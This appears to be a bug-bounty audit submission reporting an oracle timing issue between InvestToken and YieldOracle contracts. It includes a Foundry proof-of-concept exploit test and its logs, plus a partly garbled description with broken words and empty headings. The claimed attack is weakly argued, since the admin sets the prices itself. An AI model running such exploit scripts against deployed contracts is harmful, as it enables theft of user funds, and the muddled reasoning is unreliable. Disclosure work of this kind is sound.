Non-atomic nature of price updates and share conversions in the price oracle integration between InvestToken and YieldOracle contracts creates a timing gap that can be exploited. #102
Description:Description
In InvestToken.sol, the deposit function relies on convertToShares() which calls YieldOracle.assetsToShares(). The oracle conversion can potentially return different values between the initial conversion and the actual minting due to price updates.
Profit: 500 USDE (50% return) from single oracle update
**Attachments**
1. **Proof of Concept (PoC) File**
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;
import "forge-std/Test.sol";
import "../src/InvestToken.sol";
import "../src/YieldOracle.sol";
import "../src/USDE.sol";
import "../src/Validator.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
contract PriceManipulationTest is Test {
InvestToken public investToken;
YieldOracle public oracle;
USDE public usde;
Validator public validator;
address public attacker = address(0x1);
address public admin = address(0x2);
function setUp() public {
vm.startPrank(admin);
// Deploy implementations
USDE usdeImpl = new USDE(IValidator(address(0)));
InvestToken investTokenImpl = new InvestToken(IValidator(address(0)), IUSDE(address(0)));
// Deploy validator and oracle
validator = new Validator(admin, admin, admin);
oracle = new YieldOracle(admin, admin);
// Deploy USDE proxy with correct validator
bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
ERC1967Proxy usdeProxy = new ERC1967Proxy(
address(new USDE(IValidator(address(validator)))),
usdeData
);
usde = USDE(address(usdeProxy));
// Deploy InvestToken proxy with correct validator
bytes memory investData = abi.encodeWithSelector(
InvestToken.initialize.selector,
"Euro Investment",
"EUI",
admin,
IYieldOracle(address(oracle))
);
ERC1967Proxy investProxy = new ERC1967Proxy(
address(new InvestToken(IValidator(address(validator)), IUSDE(address(usdeProxy)))),
investData
);
investToken = InvestToken(address(investProxy));
// Setup roles and permissions
bytes32 MINT_ROLE = keccak256("MINT_ROLE");
usde.grantRole(MINT_ROLE, admin);
usde.grantRole(MINT_ROLE, address(investToken));
usde.grantRole(keccak256("BURN_ROLE"), address(investToken));
// Whitelist necessary addresses
validator.whitelist(attacker);
validator.whitelist(admin);
validator.whitelist(address(investToken));
vm.stopPrank();
}
function testPriceManipulation() public {
// Initial setup
vm.startPrank(admin);
usde.mint(attacker, 1000e18);
vm.warp(1000);
oracle.setMaxPriceIncrease(0.5e18);
// Initial price setup
oracle.setPreviousPrice(1e18);
oracle.setCurrentPrice(1e18);
vm.stopPrank();
// Attacker deposits
vm.startPrank(attacker);
usde.approve(address(investToken), 1000e18);
uint256 shares = investToken.deposit(1000e18, attacker);
vm.stopPrank();
// Update oracle prices
vm.warp(block.timestamp + 2 days);
vm.startPrank(admin);
oracle.updatePrice(1.5e18);
vm.warp(block.timestamp + 2 hours);
oracle.commitPrice();
// Important: Update previousPrice to match the old currentPrice
oracle.setPreviousPrice(1.5e18);
vm.stopPrank();
// Attacker withdraws
vm.startPrank(attacker);
uint256 assetsReceived = investToken.redeem(shares, attacker, attacker);
console.log("USDE received after withdrawal:", assetsReceived);
uint256 profit = assetsReceived - 1000e18;
console.log("Total profit in USDE:", profit);
assertTrue(profit > 0, "Attack should generate profit");
assertGt(assetsReceived, 1000e18, "Should receive more assets than deposited");
}
}
Logs:
Ran 1 test for test/PriceManipulationTest.sol:PriceManipulationTest
[PASS] testPriceManipulation() (gas: 241700)
Logs:
USDE received after withdrawal: 1500000000000000000000
Total profit in USDE: 500000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.35ms (2.35ms CPU time)
The attacker was able to:
Deposit 1000 USDE
Wait for price update to 1.5x
Withdraw 1500 USDE
Generate a profit of 500 USDE
This how the protocol handles price updates and redemptions, allowing users to profit from price movements without taking the equivalent risk.
Github username: @0xbrett8571 Twitter username: 0xbrett8571 Submission hash (on-chain): 0x73587454e05e9e8fbfe5c2c66d9dd6118ce0cadfb825be22550da26c00fd29ff Severity: medium
Description: Description In
InvestToken.sol
, the deposit function relies onconvertToShares()
which callsYieldOracle.assetsToShares()
. The oracle conversion can potentially return different values between the initial conversion and the actual minting due to price updates.In InvestToken.sol#L243-L246
The conversion rate used for the preview calculations may differ from the actual conversion rate at deposit time
In YieldOracle.sol#L174-L175, YieldOracle.sol#L69-L86
The issue lies in the price oracle integration:
Price Manipulation Risk:
Share Calculation Mismatch:
convertToShares()
calculation uses the current oracle priceSystem Impact:
This vulnerability is particularly dangerous because:
Impact
Attack Scenario Let's demonstrate with concrete values:
// Step 2: Front-run deposit deposit(1000e18, attacker); // Gets 1000 shares at 1:1 ratio
// Step 3: Oracle update executes updatePrice(1.5e18); // Price increases 50%
// Step 4: Back-run with withdrawal redeem(1000, attacker); // Gets 1500 USDE
Logs:
The attacker was able to:
This how the protocol handles price updates and redemptions, allowing users to profit from price movements without taking the equivalent risk.
Additional recommendations: